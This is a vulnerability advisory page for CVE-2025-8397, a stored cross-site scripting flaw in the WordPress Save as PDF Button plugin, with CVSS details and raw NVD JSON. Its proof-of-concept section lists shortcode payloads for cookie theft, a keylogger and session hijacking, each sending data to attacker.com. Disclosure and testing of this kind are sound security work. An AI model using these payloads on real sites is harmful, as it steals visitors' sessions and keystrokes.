Security Vulnerability Report
中文
CVE-2025-8397 CVSS 6.4 MEDIUM

CVE-2025-8397

Published: 2025-11-13 09:15:47
Last Modified: 2026-04-15 00:35:42

Description

The Save as PDF Button plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's restpackpdfbutton shortcode in all versions up to, and including, 1.9.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Save as PDF Button Plugin ≤ 1.9.2 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Save as PDF Button Plugin XSS PoC --> <!-- Required: Contributor-level access or higher --> <!-- Basic XSS PoC - Insert in WordPress post/page content --> [restpackpdfbutton onclick="javascript:alert(document.cookie)"] <!-- Cookie Theft PoC --> [restpackpdfbutton onclick="fetch('https://attacker.com/steal?c='+document.cookie)"] <!-- Keylogger PoC --> [restpackpdfbutton onload="document.addEventListener('keypress',function(e){fetch('https://attacker.com/log?k='+e.key)})"] <!-- Session Hijacking PoC --> [restpackpdfbutton onclick="var img=new Image();img.src='https://attacker.com/hijack?cookie='+document.cookie"]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8397", "sourceIdentifier": "[email protected]", "published": "2025-11-13T09:15:47.227", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Save as PDF Button plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's restpackpdfbutton shortcode in all versions up to, and including, 1.9.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.svn.wordpress.org/save-as-pdf/trunk/save-as-pdf.php", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/save-as-pdf/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2c648fca-c36f-41a0-9d29-3f669f3669d9?source=cve", "source": "[email protected]"}]}}